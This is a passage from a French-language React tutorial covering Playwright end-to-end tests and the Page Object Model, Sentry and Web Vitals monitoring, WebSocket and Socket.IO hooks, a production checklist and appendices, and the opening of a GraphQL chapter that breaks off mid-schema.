━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // e2e/auth.spec.ts
  import { test, expect } from '@playwright/test';

  test.describe('Authentification', () => {
    test('Login avec des identifiants valides', async ({ page }) => {
      await page.goto('/login');

      // Remplir le formulaire :
      await page.getByLabel(/email/i).fill('alice@taskflow.app');
      await page.getByLabel(/mot de passe/i).fill('Password123!');
      await page.getByRole('button', { name: /se connecter/i }).click();

      // Vérifier la redirection vers le dashboard :
      await expect(page).toHaveURL('/dashboard');
      await expect(page.getByText('Bonjour, Alice')).toBeVisible();
    });

    test('Erreur avec des identifiants invalides', async ({ page }) => {
      await page.goto('/login');

      await page.getByLabel(/email/i).fill('wrong@example.com');
      await page.getByLabel(/mot de passe/i).fill('wrongpassword');
      await page.getByRole('button', { name: /se connecter/i }).click();

      await expect(page.getByRole('alert')).toContainText(/email ou mot de passe/i);
      await expect(page).toHaveURL('/login');  // Pas de redirection
    });

    test('Logout', async ({ page }) => {
      // Se connecter d'abord :
      await page.goto('/login');
      await page.getByLabel(/email/i).fill('alice@taskflow.app');
      await page.getByLabel(/mot de passe/i).fill('Password123!');
      await page.getByRole('button', { name: /se connecter/i }).click();
      await page.waitForURL('/dashboard');

      // Se déconnecter :
      await page.getByRole('button', { name: /menu utilisateur/i }).click();
      await page.getByRole('menuitem', { name: /déconnexion/i }).click();

      // Vérifier la redirection :
      await expect(page).toHaveURL('/login');
    });

    test('Redirection des routes protégées', async ({ page }) => {
      await page.goto('/dashboard');
      await expect(page).toHaveURL(/\/login\?from=\/dashboard/);
    });
  });

  // e2e/tasks.spec.ts
  import { test, expect } from '@playwright/test';

  // Fixture : Se connecter avant chaque test :
  test.beforeEach(async ({ page }) => {
    await page.goto('/login');
    await page.getByLabel(/email/i).fill('alice@taskflow.app');
    await page.getByLabel(/mot de passe/i).fill('Password123!');
    await page.getByRole('button', { name: /se connecter/i }).click();
    await page.waitForURL('/dashboard');
    await page.goto('/tasks');
  });

  test.describe('Gestion des tâches', () => {
    test('Afficher la liste des tâches', async ({ page }) => {
      await expect(page.getByRole('heading', { name: /mes tâches/i })).toBeVisible();
      await expect(page.getByRole('list', { name: /tâches/i })).toBeVisible();
    });

    test('Créer une nouvelle tâche', async ({ page }) => {
      await page.getByRole('button', { name: /nouvelle tâche/i }).click();

      // Modal de création :
      await expect(page.getByRole('dialog')).toBeVisible();
      await page.getByLabel(/titre/i).fill('Ma tâche E2E test');
      await page.getByLabel(/priorité/i).selectOption('high');
      await page.getByRole('button', { name: /créer/i }).click();

      // Vérifier que la tâche apparaît dans la liste :
      await expect(page.getByRole('dialog')).not.toBeVisible();
      await expect(page.getByText('Ma tâche E2E test')).toBeVisible();
    });

    test('Terminer une tâche', async ({ page }) => {
      // Trouver la première tâche "À faire" :
      const firstTask = page.getByRole('article').first();
      const taskTitle = await firstTask.getByRole('heading').textContent();

      await firstTask.getByRole('button', { name: /terminer/i }).click();

      // Vérifier le badge "Terminé" :
      await expect(firstTask.getByText(/terminé/i)).toBeVisible();
    });

    test('Filtrer les tâches par statut', async ({ page }) => {
      await page.getByRole('tab', { name: /terminées/i }).click();

      // Toutes les tâches visibles devraient être terminées :
      const tasks = page.getByRole('article');
      const count = await tasks.count();
      for (let i = 0; i < count; i++) {
        await expect(tasks.nth(i).getByText(/terminé/i)).toBeVisible();
      }
    });

    test('Rechercher une tâche', async ({ page }) => {
      const searchInput = page.getByRole('searchbox', { name: /rechercher/i });
      await searchInput.fill('auth');

      // Seules les tâches avec "auth" dans le titre devraient être visibles :
      await expect(page.getByText('Implémenter l\'auth')).toBeVisible();
      // Attendre que la liste soit filtrée (debounce) :
      await page.waitForTimeout(350);
      const count = await page.getByRole('article').count();
      expect(count).toBeLessThan(10);  // Résultats filtrés
    });

    test('Supprimer une tâche', async ({ page }) => {
      const firstTask = page.getByRole('article').first();
      const title = await firstTask.getByRole('heading').textContent();

      await firstTask.getByRole('button', { name: /supprimer/i }).click();

      // Confirmer la suppression (dialog natif) :
      page.on('dialog', dialog => dialog.accept());

      // La tâche ne devrait plus être visible :
      await expect(page.getByText(title!)).not.toBeVisible();
    });
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
56.4 — PAGE OBJECT MODEL (POM)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le POM centralise les sélecteurs et actions dans des classes réutilisables.

  // e2e/pages/LoginPage.ts
  import { Page, Locator } from '@playwright/test';

  export class LoginPage {
    readonly page:            Page;
    readonly emailInput:      Locator;
    readonly passwordInput:   Locator;
    readonly submitButton:    Locator;
    readonly errorMessage:    Locator;

    constructor(page: Page) {
      this.page          = page;
      this.emailInput    = page.getByLabel(/email/i);
      this.passwordInput = page.getByLabel(/mot de passe/i);
      this.submitButton  = page.getByRole('button', { name: /se connecter/i });
      this.errorMessage  = page.getByRole('alert');
    }

    async goto() {
      await this.page.goto('/login');
    }

    async login(email: string, password: string) {
      await this.emailInput.fill(email);
      await this.passwordInput.fill(password);
      await this.submitButton.click();
    }

    async loginAsAdmin() {
      await this.login('admin@taskflow.app', 'AdminPass123!');
    }
  }

  // e2e/pages/TasksPage.ts
  export class TasksPage {
    readonly page:       Page;
    readonly taskList:   Locator;
    readonly newTaskBtn: Locator;
    readonly searchInput: Locator;

    constructor(page: Page) {
      this.page        = page;
      this.taskList    = page.getByRole('list', { name: /tâches/i });
      this.newTaskBtn  = page.getByRole('button', { name: /nouvelle tâche/i });
      this.searchInput = page.getByRole('searchbox');
    }

    async goto() { await this.page.goto('/tasks'); }
    async getTaskCount() { return (await this.taskList.getByRole('article').all()).length; }
    async search(query: string) {
      await this.searchInput.fill(query);
      await this.page.waitForTimeout(350);  // Debounce
    }
  }

  // Utilisation dans les tests :
  test('Créer et retrouver une tâche', async ({ page }) => {
    const loginPage = new LoginPage(page);
    const tasksPage = new TasksPage(page);

    await loginPage.goto();
    await loginPage.loginAsAdmin();
    await tasksPage.goto();

    const initialCount = await tasksPage.getTaskCount();
    await tasksPage.newTaskBtn.click();
    // ... créer la tâche

    const newCount = await tasksPage.getTaskCount();
    expect(newCount).toBe(initialCount + 1);
  });


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 57 : MONITORING ET OBSERVABILITÉ
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
57.1 — SENTRY — TRACKING D'ERREURS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install @sentry/react @sentry/tracing

  // src/lib/sentry.ts
  import * as Sentry from '@sentry/react';
  import { BrowserTracing } from '@sentry/tracing';

  Sentry.init({
    dsn:         import.meta.env.VITE_SENTRY_DSN,
    environment: import.meta.env.MODE,
    release:     import.meta.env.VITE_APP_VERSION,
    tracesSampleRate:  1.0,  // 100% en dev, 0.1 en prod
    replaysSessionSampleRate: 0.1,
    replaysOnErrorSampleRate:  1.0,
    integrations: [
      new BrowserTracing(),
      new Sentry.Replay(),
    ],
  });

  // Wrapper de l'app avec Sentry ErrorBoundary :
  function App() {
    return (
      <Sentry.ErrorBoundary fallback={<ErrorPage />} showDialog>
        <Router>
          <Routes>...</Routes>
        </Router>
      </Sentry.ErrorBoundary>
    );
  }

  // Capturer les erreurs manuellement :
  try {
    await riskyOperation();
  } catch (error) {
    Sentry.captureException(error, {
      contexts: {
        task: { id: task.id, title: task.title },
        user: { id: user.id, email: user.email },
      },
      tags: { action: 'task_update', priority: task.priority },
    });
    throw error;
  }

  // Tracer les performances manuellement :
  const transaction = Sentry.startTransaction({ name: 'load-tasks' });
  try {
    const span = transaction.startChild({ op: 'fetch', description: 'GET /api/tasks' });
    const tasks = await fetchTasks();
    span.finish();
  } finally {
    transaction.finish();
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
57.2 — WEB VITALS — MÉTRIQUES DE PERFORMANCE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/lib/vitals.ts
  import { onCLS, onFCP, onFID, onLCP, onTTFB } from 'web-vitals';

  const VITALS_TARGETS = {
    LCP:  2500,  // Largest Contentful Paint < 2.5s (Good)
    FID:  100,   // First Input Delay < 100ms (Good)
    CLS:  0.1,   // Cumulative Layout Shift < 0.1 (Good)
    FCP:  1800,  // First Contentful Paint < 1.8s (Good)
    TTFB: 800,   // Time to First Byte < 800ms (Good)
  };

  function sendToAnalytics({ name, value, rating }: Metric) {
    // Envoyer à votre service d'analytics :
    analytics.track('web_vital', {
      metric:  name,
      value:   Math.round(name === 'CLS' ? value * 1000 : value),
      rating,              // 'good' | 'needs-improvement' | 'poor'
      url:     location.href,
    });

    // Logger en dev si en dehors des cibles :
    if (process.env.NODE_ENV === 'development') {
      const target = VITALS_TARGETS[name as keyof typeof VITALS_TARGETS];
      if (value > target) {
        console.warn(`[ATTENTION] Web Vital [${name}]: ${value}ms > target ${target}ms`);
      }
    }
  }

  export function initWebVitals() {
    onCLS(sendToAnalytics);
    onFCP(sendToAnalytics);
    onFID(sendToAnalytics);
    onLCP(sendToAnalytics);
    onTTFB(sendToAnalytics);
  }

  // src/main.tsx :
  import { initWebVitals } from './lib/vitals';
  initWebVitals();


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 58 : WEBSOCKETS ET TEMPS RÉEL
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
58.1 — HOOK WEBSOCKET COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/hooks/useWebSocket.ts
  import { useState, useEffect, useRef, useCallback } from 'react';

  type WSStatus = 'connecting' | 'connected' | 'disconnected' | 'error';

  interface WebSocketOptions {
    onMessage?:     (data: unknown) => void;
    onConnect?:     () => void;
    onDisconnect?:  () => void;
    onError?:       (error: Event) => void;
    reconnect?:     boolean;
    reconnectDelay?: number;
    maxRetries?:    number;
  }

  function useWebSocket(url: string, options: WebSocketOptions = {}) {
    const {
      onMessage, onConnect, onDisconnect, onError,
      reconnect    = true,
      reconnectDelay = 3000,
      maxRetries   = 5,
    } = options;

    const [status, setStatus] = useState<WSStatus>('disconnected');
    const wsRef        = useRef<WebSocket | null>(null);
    const retriesRef   = useRef(0);
    const timeoutRef   = useRef<ReturnType<typeof setTimeout> | null>(null);
    const isMountedRef = useRef(true);

    const connect = useCallback(() => {
      if (wsRef.current?.readyState === WebSocket.OPEN) return;

      setStatus('connecting');
      const ws = new WebSocket(url);
      wsRef.current = ws;

      ws.onopen = () => {
        if (!isMountedRef.current) return;
        setStatus('connected');
        retriesRef.current = 0;
        onConnect?.();
      };

      ws.onmessage = (event) => {
        if (!isMountedRef.current) return;
        try {
          const data = JSON.parse(event.data);
          onMessage?.(data);
        } catch {
          onMessage?.(event.data);
        }
      };

      ws.onclose = () => {
        if (!isMountedRef.current) return;
        setStatus('disconnected');
        onDisconnect?.();

        if (reconnect && retriesRef.current < maxRetries) {
          retriesRef.current++;
          timeoutRef.current = setTimeout(connect, reconnectDelay);
        }
      };

      ws.onerror = (error) => {
        if (!isMountedRef.current) return;
        setStatus('error');
        onError?.(error);
      };
    }, [url, onMessage, onConnect, onDisconnect, onError, reconnect, reconnectDelay, maxRetries]);

    const disconnect = useCallback(() => {
      if (timeoutRef.current) clearTimeout(timeoutRef.current);
      wsRef.current?.close();
    }, []);

    const send = useCallback((data: unknown) => {
      if (wsRef.current?.readyState === WebSocket.OPEN) {
        wsRef.current.send(JSON.stringify(data));
      }
    }, []);

    useEffect(() => {
      isMountedRef.current = true;
      connect();
      return () => {
        isMountedRef.current = false;
        disconnect();
      };
    }, [connect, disconnect]);

    return { status, send, disconnect, reconnect: connect };
  }

  export default useWebSocket;

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
58.2 — NOTIFICATIONS TEMPS RÉEL AVEC SOCKETIO
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install socket.io-client

  // src/hooks/useRealtime.ts
  import { useEffect } from 'react';
  import { io, Socket } from 'socket.io-client';
  import { useQueryClient } from '@tanstack/react-query';
  import { taskKeys } from '@/hooks/queries/useTasks';
  import { useUI } from '@/contexts/UIContext';
  import type { Task } from '@/types';

  let socket: Socket | null = null;

  function getSocket(token: string): Socket {
    if (!socket) {
      socket = io(import.meta.env.VITE_WS_URL, {
        auth:          { token },
        reconnection:  true,
        timeout:       5000,
        transports:    ['websocket'],
      });
    }
    return socket;
  }

  interface RealtimeEvents {
    'task:created':   Task;
    'task:updated':   Task;
    'task:deleted':   { id: number };
    'task:completed': Task;
    'user:typing':    { userId: number; taskId: number };
  }

  export function useRealtime(token: string | null) {
    const queryClient = useQueryClient();
    const { addNotification } = useUI();

    useEffect(() => {
      if (!token) return;

      const ws = getSocket(token);

      ws.on('task:created', (task: Task) => {
        queryClient.invalidateQueries({ queryKey: taskKeys.lists() });
        addNotification({
          type:    'info',
          message: `Nouvelle tâche : ${task.title}`,
        });
      });

      ws.on('task:updated', (updatedTask: Task) => {
        queryClient.setQueryData<Task>(
          taskKeys.detail(updatedTask.id),
          updatedTask
        );
        queryClient.invalidateQueries({ queryKey: taskKeys.lists() });
      });

      ws.on('task:deleted', ({ id }: { id: number }) => {
        queryClient.removeQueries({ queryKey: taskKeys.detail(id) });
        queryClient.invalidateQueries({ queryKey: taskKeys.lists() });
      });

      ws.on('task:completed', (task: Task) => {
        queryClient.setQueryData(taskKeys.detail(task.id), task);
        addNotification({
          type:    'success',
          message: `"${task.title}" marquée comme terminée !`,
        });
      });

      return () => {
        ws.off('task:created');
        ws.off('task:updated');
        ws.off('task:deleted');
        ws.off('task:completed');
      };
    }, [token, queryClient, addNotification]);
  }

  // Utilisation dans App.tsx :
  function App() {
    const { user } = useAuth();
    const token = localStorage.getItem('taskflow_token');
    useRealtime(user ? token : null);
    // ...
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 62 : CHECKLIST FINALE ET PROCHAINES ÉTAPES
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
62.1 — CHECKLIST PROJET PRODUCTION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CODE QUALITY :
  [WHITE_SQUARE] Zero erreurs TypeScript strict
  [WHITE_SQUARE] Zero erreurs ESLint
  [WHITE_SQUARE] Zero warnings Prettier
  [WHITE_SQUARE] Noms de variables/fonctions clairs et expressifs
  [WHITE_SQUARE] Code commenté là où c'est non-évident (le POURQUOI, pas le QUOI)
  [WHITE_SQUARE] Pas de TODO restants en production

ARCHITECTURE :
  [WHITE_SQUARE] Séparation claire UI / logique / données
  [WHITE_SQUARE] Composants < 200 lignes (extraire si plus grand)
  [WHITE_SQUARE] Hooks custom pour la logique répétée
  [WHITE_SQUARE] Types définis dans /types (pas inline)
  [WHITE_SQUARE] Pas de prop drilling > 3 niveaux
  [WHITE_SQUARE] Optimistic updates pour les mutations UX

PERFORMANCE :
  [WHITE_SQUARE] Lighthouse > 90 (Performance, Accessibility, Best Practices, SEO)
  [WHITE_SQUARE] Pas de memory leaks (cleanup tous les effects)
  [WHITE_SQUARE] Images optimisées (WebP, lazy loading)
  [WHITE_SQUARE] Code splitting par route (lazy + Suspense)
  [WHITE_SQUARE] Bundle size < 300kb gzippé initial
  [WHITE_SQUARE] Core Web Vitals dans le vert (LCP < 2.5s, CLS < 0.1)

ACCESSIBILITÉ :
  [WHITE_SQUARE] Navigation clavier complète (Tab, Enter, Escape)
  [WHITE_SQUARE] Contraste WCAG AA minimum (4.5:1)
  [WHITE_SQUARE] ARIA correct sur les composants interactifs
  [WHITE_SQUARE] Focus visible sur tous les éléments interactifs
  [WHITE_SQUARE] Messages d'erreur liés aux inputs (aria-describedby)
  [WHITE_SQUARE] Titres hiérarchiques corrects (h1 -> h2 -> h3)
  [WHITE_SQUARE] Images avec alt appropriés
  [WHITE_SQUARE] Test avec lecteur d'écran (NVDA, VoiceOver)

SÉCURITÉ :
  [WHITE_SQUARE] Pas de secrets dans le code frontend
  [WHITE_SQUARE] Sanitisation des inputs utilisateur
  [WHITE_SQUARE] Pas de dangerouslySetInnerHTML sans sanitisation
  [WHITE_SQUARE] HTTPS en production
  [WHITE_SQUARE] Headers de sécurité (CSP, X-Frame-Options...)
  [WHITE_SQUARE] Tokens JWT avec expiration courte + refresh
  [WHITE_SQUARE] Logout révoque le token côté serveur

TESTS :
  [WHITE_SQUARE] Coverage > 80% sur la logique métier
  [WHITE_SQUARE] Tests pour tous les composants du design system
  [WHITE_SQUARE] Tests pour les cas d'erreur et les edge cases
  [WHITE_SQUARE] Tests E2E pour les parcours critiques (login, CRUD)
  [WHITE_SQUARE] Tests d'accessibilité automatisés (jest-axe, Playwright)

DÉPLOIEMENT :
  [WHITE_SQUARE] Variables d'environnement documentées
  [WHITE_SQUARE] .env.example à jour dans le repo
  [WHITE_SQUARE] CI/CD fonctionnel (lint -> test -> build -> deploy)
  [WHITE_SQUARE] Preview deployments par PR
  [WHITE_SQUARE] Rollback possible en cas de problème
  [WHITE_SQUARE] Monitoring des erreurs (Sentry)
  [WHITE_SQUARE] Alertes configurées

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
62.2 — ROADMAP D'APPRENTISSAGE APRÈS CE GUIDE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU INTERMÉDIAIRE -> SENIOR :
  1. Patterns avancés : CQRS, Event Sourcing, DDD
  2. GraphQL + Apollo Client / urql
  3. React Native (mobile) ou Electron (desktop)
  4. Web Workers + SharedArrayBuffer
  5. WebAssembly (WASM) dans React

SUJETS CONNEXES IMPORTANTS :
  1. Docker + Docker Compose pour le dev
  2. PostgreSQL + Prisma / Drizzle ORM
  3. Redis pour le cache et les sessions
  4. S3 / Cloudinary pour les uploads
  5. Stripe pour les paiements
  6. Sendgrid / Resend pour les emails

ARCHITECTURE D'ENTREPRISE :
  1. Monorepo Turborepo / Nx
  2. Design System distribué (npm package)
  3. Micro-frontends (Module Federation)
  4. Feature Flags (LaunchDarkly, GrowthBook)
  5. A/B Testing dans React

RESSOURCES RECOMMANDÉES :
  • react.dev           -> Documentation officielle React
  • nextjs.org/docs     -> Documentation Next.js
  • typescript-lang.org -> TypeScript Handbook
  • testing-library.com -> Testing Library docs
  • playwright.dev      -> Documentation Playwright
  • storybook.js.org    -> Documentation Storybook
  • ui.dev              -> Cours approfondis React
  • kentcdodds.com      -> Blog de l'auteur de Testing Library
  • joshwcomeau.com     -> Articles CSS + React excellents

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
ANNEXE A — GLOSSAIRE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  API          Application Programming Interface — interface de communication
  Bundle       Fichier JS regroupant tout le code de l'application
  Callback     Fonction passée en argument à une autre fonction
  CDN          Content Delivery Network — réseau de serveurs distribués
  CI/CD        Continuous Integration / Continuous Deployment
  Closure      Fonction qui "capture" les variables de son scope parent
  CSR          Client Side Rendering — rendu dans le navigateur
  DOM          Document Object Model — représentation de la page HTML en JS
  DRY          Don't Repeat Yourself — principe de non-répétition
  DTO          Data Transfer Object — objet de transfert de données
  E2E          End-to-End — test de bout en bout
  FCP          First Contentful Paint — première peinture de contenu
  FIFO         First In First Out — file d'attente
  GraphQL      Langage de requête pour les APIs (alternative REST)
  Hook         Fonction React préfixée "use" (useState, useEffect...)
  HOC          Higher Order Component — composant d'ordre supérieur
  HTML         HyperText Markup Language
  HTTP         HyperText Transfer Protocol
  Hydration    Processus d'attachement du JS au HTML pré-rendu (SSR)
  IDE          Integrated Development Environment (VS Code, WebStorm)
  IoC          Inversion of Control — pattern d'architecture
  ISR          Incremental Static Regeneration
  JSX          JavaScript XML — syntaxe HTML-like dans React
  JWT          JSON Web Token — format de token d'authentification
  LCP          Largest Contentful Paint — indicateur de performance
  Memoization  Technique de mise en cache des résultats de fonctions
  ORM          Object-Relational Mapping (Prisma, Drizzle)
  POM          Page Object Model — pattern de test
  Props        Properties — données passées aux composants React
  PWA          Progressive Web App
  React Query  Bibliothèque de gestion du server state
  REST         Representational State Transfer — style d'architecture API
  SPA          Single Page Application
  SSG          Static Site Generation
  SSR          Server Side Rendering
  State        État interne d'un composant React
  Tree-shaking Suppression du code mort lors du build
  TypeScript   Sur-ensemble de JavaScript avec système de types
  UI           User Interface — interface utilisateur
  UX           User Experience — expérience utilisateur
  VDOM         Virtual DOM — représentation JS du DOM
  WCAG         Web Content Accessibility Guidelines
  WebSocket    Protocole de communication bidirectionnel temps réel
  Zustand      Bibliothèque de state management légère

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
ANNEXE B — COMMANDES ESSENTIELLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Créer un projet React :
  npm create vite@latest mon-app -- --template react-ts

  # Créer un projet Next.js :
  npx create-next-app@latest mon-app

  # Dépendances essentielles :
  npm install react-router-dom axios zustand
  npm install @tanstack/react-query @tanstack/react-query-devtools
  npm install react-hook-form zod @hookform/resolvers
  npm install framer-motion clsx

  # Dev tools :
  npm install -D vitest @testing-library/react @testing-library/user-event
  npm install -D @playwright/test
  npm install -D @storybook/react

  # TypeScript :
  npm install -D typescript @types/react @types/react-dom

  # Lancer en dev :
  npm run dev         # Vite / Next.js

  # Tests :
  npm run test        # Vitest (unitaires)
  npm run test:ui     # Vitest avec interface visuelle
  npm run test:e2e    # Playwright
  npm run storybook   # Storybook

  # Build :
  npm run build
  npm run preview     # Preview du build

  # Qualité :
  npm run lint
  npm run type-check

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
ANNEXE C — EXTENSIONS VS CODE RECOMMANDÉES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  ESLint                  -> Linting en temps réel
  Prettier                -> Formatage automatique
  ES7+ React snippets     -> Snippets (rafce, useState...)
  TypeScript              -> Support TypeScript natif dans VS Code
  GitLens                 -> Historique Git inline
  Tailwind CSS            -> IntelliSense pour Tailwind
  CSS Modules             -> IntelliSense pour CSS Modules
  PostCSS                 -> Syntaxe CSS moderne
  Auto Rename Tag         -> Renomme les balises HTML appariées
  Error Lens              -> Erreurs inline dans le code
  GitHub Copilot          -> Auto-complétion IA
  Vitest                  -> Runner de tests dans VS Code
  Playwright              -> Runner E2E dans VS Code

  SETTINGS VS CODE (.vscode/settings.json) :
  {
    "editor.formatOnSave":               true,
    "editor.defaultFormatter":           "esbenp.prettier-vscode",
    "editor.codeActionsOnSave": {
      "source.fixAll.eslint":            "explicit"
    },
    "typescript.preferences.importModuleSpecifier": "non-relative",
    "emmet.includeLanguages": { "javascript": "javascriptreact" },
    "editor.tabSize":                    2,
    "editor.insertSpaces":               true
  }


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ FINAL — 10 PARTIES COMPLÈTES
════════════════════════════════════════════════════════════════════════════════

  PARTIE 1  -> Fondations Web (HTML, CSS, JS, ES6+, DOM, Promises)
  PARTIE 2  -> Introduction React (Vite, composants, JSX, TaskFlow v1)
  PARTIE 3  -> Props, State, useState, Événements (TaskFlow v2)
  PARTIE 4  -> useEffect, Cycle de vie, Custom Hooks (TaskFlow v3)
  PARTIE 5  -> Routing, API, Context, Zustand, React Query (TaskFlow v4)
  PARTIE 6  -> Formulaires (RHF+Zod), Design System, A11y, Animations (v5)
  PARTIE 7  -> Performance, Tests Vitest+RTL, Architecture, Déploiement (v6)
  PARTIE 8  -> TypeScript complet (types, generics, composants, hooks, API)
  PARTIE 9  -> Next.js (App Router, Server Components, Server Actions, SSR)
  PARTIE 10 -> Patterns avancés, Storybook, E2E Playwright, Monitoring, WS

  ══════════════════════════════════════════════════════════════════
  FÉLICITATIONS — Vous maîtrisez React de zéro à l'expert !
  Le projet TaskFlow est maintenant une application SaaS complète,
  production-ready, typée, testée, accessible et déployée.
  ══════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN DU REACT MASTER GUIDE — 10 PARTIES — GUIDE COMPLET EXPERT
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 11 : GRAPHQL, APOLLO CLIENT, SUBSCRIPTIONS
================================================================================
VERSION 1.0 | CHAPITRES 63–68 | ALTERNATIVE AVANCÉE À REST
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 63  ->  GraphQL — Concepts fondamentaux
  CHAPITRE 64  ->  Apollo Client — Setup et configuration
  CHAPITRE 65  ->  Queries et Mutations Apollo
  CHAPITRE 66  ->  Subscriptions GraphQL (temps réel)
  CHAPITRE 67  ->  Cache Apollo et optimisations
  CHAPITRE 68  ->  GraphQL avec TypeScript (codegen)
  PROJET       ->  TaskFlow GraphQL — API complète
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 63 : GRAPHQL — CONCEPTS FONDAMENTAUX
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
63.1 — REST vs GRAPHQL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

PROBLÈMES DE REST :

  OVER-FETCHING : Le serveur envoie PLUS que nécessaire.
    GET /api/tasks -> { id, title, description, status, priority,
                       assignee, project, subtasks, comments, ... }
    -> On n'avait besoin que de id, title et status pour la liste !

  UNDER-FETCHING (N+1 problem) : Plusieurs requêtes nécessaires.
    GET /api/tasks         -> 10 tâches
    GET /api/users/1       -> assignee de la tâche 1
    GET /api/users/2       -> assignee de la tâche 2
    ... (10 requêtes supplémentaires !)

  VERSIONING : Gérer /api/v1/, /api/v2/ est complexe.

SOLUTION GRAPHQL :

  Une SEULE requête, tu demandes exactement ce dont tu as besoin :

  query GetTaskList {
    tasks(status: "in_progress", limit: 10) {
      id
      title
      status
      priority
      assignee {
        name
        avatar
      }
    }
  }
  -> Le serveur retourne EXACTEMENT ces champs, ni plus ni moins.

CONCEPTS GRAPHQL :

  SCHEMA : Définit la structure des données et les opérations disponibles.
  QUERY   : Lire des données (équivalent GET en REST).
  MUTATION: Modifier des données (équivalent POST/PATCH/DELETE).
  SUBSCRIPTION : Écouter des changements en temps réel (WebSocket).
  RESOLVER: Fonction côté serveur qui résout un champ du schema.
  TYPE    : Définition d'un objet (comme une interface TypeScript).

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
63.2 — SYNTAXE GRAPHQL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

TYPES (Schema Definition Language — SDL) :

  # Scalaires natifs : String, Int, Float, Boolean, ID
  # ! = non-nullable (obligatoire)

  type User {
    id:         ID!
    name:       String!
    email:      String!
    role:       UserRole!
    avatar:     String          # Nullable (peut être null)
    createdAt:  String!
    tasks:      [Task!]!        # Tableau non-nullable d'éléments non-nullables
  }

  enum UserRole {
    ADMIN
    MANAGER
    USER
  }

  type Task {
    id:             ID!
    title:          String!
    description:    String
    status:         TaskStatus!
    priority:       Priority!
    dueDate:        String
    completedAt:    String
    estimatedHours: Float
    tags:           [String!]!
    assignee:       User
    project:        Project
    subtasks:       [Subtask!]!
    createdAt:      String!
    updatedAt:      String!
  }

  enum TaskStatus { TODO IN_PROGRESS DONE CANCELLED }
  enum Priority   { LOW MEDIUM HIGH CRITICAL }

  type Subtask {
    id:        ID!
    title:     String!
    completed: Boolean!
    task:      Task!
  }

  # Query racine — points d'entrée pour la lecture :
  type Query {
    tasks(
      status:   TaskStatus
      priority: Priority
      search:   String
